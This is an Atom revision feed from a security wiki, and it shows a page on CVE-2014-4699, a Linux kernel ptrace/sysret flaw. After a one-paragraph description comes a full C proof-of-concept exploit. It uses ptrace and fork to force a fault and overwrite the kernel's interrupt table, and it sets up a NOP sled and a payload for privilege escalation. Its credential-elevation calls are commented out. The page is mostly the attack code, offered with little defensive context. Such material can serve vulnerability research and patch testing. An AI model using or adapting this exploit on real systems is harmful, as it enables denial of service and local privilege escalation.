<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4699_Linux_kernel_before_3.15.4%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-4699 Linux kernel before 3.15.4拒絕服務漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-4699_Linux_kernel_before_3.15.4%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4699_Linux_kernel_before_3.15.4%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T09:06:14Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-4699_Linux_kernel_before_3.15.4%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1099&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved RIP address in the case of a system call that...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-4699_Linux_kernel_before_3.15.4%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&amp;diff=1099&amp;oldid=prev"/>
		<updated>2021-04-07T08:03:29Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved RIP address in the case of a system call that...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
The Linux kernel before 3.15.4 on Intel processors does not properly restrict use of a non-canonical value for the saved RIP address in the case of a system call that does not use IRET, which allows local users to leverage a race condition and gain privileges, or cause a denial of service (double fault), via a crafted application that makes ptrace and fork system calls.&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 * CVE-2014-4699 ptrace/sysret PoC&lt;br /&gt;
 * by Vitaly Nikolenko&lt;br /&gt;
 * vnik5287@gmail.com&lt;br /&gt;
 *&lt;br /&gt;
 * &amp;gt; gcc -O2 poc_v0.c&lt;br /&gt;
 *&lt;br /&gt;
 * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the&lt;br /&gt;
 * following will trigger the #GP in sysret and overwrite the #PF handler so we&lt;br /&gt;
 * can land to our NOP sled mapped at 0x80000000.&lt;br /&gt;
 * However, once landed, the IDT will be trashed. We can either attempt to&lt;br /&gt;
 * restore it (then escalate privileges and execute our shellcode) or find&lt;br /&gt;
 * something else to overwrite that would transfer exec flow to our controlled&lt;br /&gt;
 * user-space address. Since 3.10.something, IDT is read-only anyway. If you&lt;br /&gt;
 * have any ideas, let me know.&lt;br /&gt;
 */&lt;br /&gt;
 &lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdint.h&amp;gt;&lt;br /&gt;
#include &amp;lt;assert.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/ptrace.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/types.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/syscall.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/user.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#define SIZE  0x10000000&lt;br /&gt;
&lt;br /&gt;
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);&lt;br /&gt;
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);&lt;br /&gt;
&lt;br /&gt;
unsigned long __user_cs;&lt;br /&gt;
unsigned long __user_ss;&lt;br /&gt;
unsigned long __user_rflags;&lt;br /&gt;
&lt;br /&gt;
void __attribute__((regparm(3))) payload() {&lt;br /&gt;
	uint32_t *fixptr = (void*)0xffffffff81dd70e8;&lt;br /&gt;
	// restore the #PF handler&lt;br /&gt;
	*fixptr = -1;&lt;br /&gt;
	//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;&lt;br /&gt;
	//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;&lt;br /&gt;
	//commit_creds(prepare_kernel_cred((uint64_t)NULL));&lt;br /&gt;
&lt;br /&gt;
	//__asm__ volatile (&amp;quot;swapgs\n\t&amp;quot;&lt;br /&gt;
	//		  &amp;quot;...&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
	struct user_regs_struct regs;&lt;br /&gt;
	uint8_t *trampoline, *tmp;&lt;br /&gt;
	int status;&lt;br /&gt;
&lt;br /&gt;
	struct {&lt;br /&gt;
		uint16_t limit;&lt;br /&gt;
		uint64_t addr;&lt;br /&gt;
	} __attribute__((packed)) idt;&lt;br /&gt;
&lt;br /&gt;
        // MAP_POPULATE so we don't trigger extra #PF&lt;br /&gt;
	trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);&lt;br /&gt;
	assert(trampoline == 0x80000000);&lt;br /&gt;
	memset(trampoline, 0x90, SIZE); &lt;br /&gt;
        tmp = trampoline;&lt;br /&gt;
        tmp += SIZE-1024;&lt;br /&gt;
        memcpy(tmp, &amp;amp;payload, 1024);&lt;br /&gt;
	memcpy(tmp-13,&amp;quot;\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf&amp;quot;, 13);&lt;br /&gt;
&lt;br /&gt;
	pid_t chld;&lt;br /&gt;
&lt;br /&gt;
        if ((chld = fork()) &amp;lt; 0) {&lt;br /&gt;
		perror(&amp;quot;fork&amp;quot;);&lt;br /&gt;
		exit(1);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	if (chld == 0) { &lt;br /&gt;
		if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {&lt;br /&gt;
			perror(&amp;quot;PTRACE_TRACEME&amp;quot;);&lt;br /&gt;
			exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		raise(SIGSTOP);&lt;br /&gt;
		fork();&lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	asm volatile(&amp;quot;sidt %0&amp;quot; : &amp;quot;=m&amp;quot; (idt));&lt;br /&gt;
	printf(&amp;quot;IDT addr = 0x%lx\n&amp;quot;, idt.addr);&lt;br /&gt;
&lt;br /&gt;
	waitpid(chld, &amp;amp;status, 0);&lt;br /&gt;
&lt;br /&gt;
	ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); &lt;br /&gt;
&lt;br /&gt;
	ptrace(PTRACE_CONT, chld, 0, 0);&lt;br /&gt;
&lt;br /&gt;
	waitpid(chld, &amp;amp;status, 0); &lt;br /&gt;
&lt;br /&gt;
        ptrace(PTRACE_GETREGS, chld, NULL, &amp;amp;regs);&lt;br /&gt;
	regs.rdi = 0x0000000000000000;&lt;br /&gt;
	regs.rip = 0x8fffffffffffffff;&lt;br /&gt;
	regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;&lt;br /&gt;
&lt;br /&gt;
	// attempt to restore the IDT&lt;br /&gt;
	regs.rdi = 0x0000000000000000;&lt;br /&gt;
	regs.rsi = 0x81658e000010cbd0;&lt;br /&gt;
	regs.rdx = 0x00000000ffffffff;&lt;br /&gt;
	regs.rcx = 0x81658e000010cba0;&lt;br /&gt;
	regs.rax = 0x00000000ffffffff;&lt;br /&gt;
	regs.r8  = 0x81658e010010cb00;&lt;br /&gt;
	regs.r9  = 0x00000000ffffffff;&lt;br /&gt;
	regs.r10 = 0x81668e0000106b10;&lt;br /&gt;
	regs.r11 = 0x00000000ffffffff;&lt;br /&gt;
	regs.rbx = 0x81668e0000106ac0;&lt;br /&gt;
	regs.rbp = 0x00000000ffffffff;&lt;br /&gt;
	regs.r12 = 0x81668e0000106ac0;&lt;br /&gt;
	regs.r13 = 0x00000000ffffffff;&lt;br /&gt;
	regs.r14 = 0x81668e0200106a90;&lt;br /&gt;
	regs.r15 = 0x00000000ffffffff;&lt;br /&gt;
&lt;br /&gt;
        ptrace(PTRACE_SETREGS, chld, NULL, &amp;amp;regs);&lt;br /&gt;
&lt;br /&gt;
	ptrace(PTRACE_CONT, chld, 0, 0);&lt;br /&gt;
&lt;br /&gt;
	ptrace(PTRACE_DETACH, chld, 0, 0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>